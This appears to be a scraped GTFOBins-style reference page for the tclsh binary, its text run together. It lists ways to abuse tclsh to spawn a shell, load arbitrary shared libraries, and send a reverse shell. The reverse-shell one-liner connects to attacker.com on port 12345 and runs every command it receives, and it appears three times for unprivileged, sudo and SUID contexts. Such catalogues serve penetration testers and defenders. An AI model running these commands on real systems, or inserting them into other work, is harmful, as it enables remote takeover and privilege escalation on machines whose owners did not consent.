tclsh
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
tclshThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.tclshThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.tclsh
Reverse shell
This executable can send back a reverse system shell to a listening attacker.
- This function can be performed by any unprivileged user.
tclsh set s [socket attacker.com 12345];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.tclsh set s [socket attacker.com 12345];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.tclsh set s [socket attacker.com 12345];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;
Library load
This executable can load shared libraries that may be used to run arbitrary code in the same execution context.
- This function can be performed by any unprivileged user.
tclsh load /path/to/lib.so xThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.tclsh load /path/to/lib.so xThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.tclsh load /path/to/lib.so xThis function is performed bypassing the usual kernel permission checks if the executable has certain capabilities set.tclsh load /path/to/lib.so x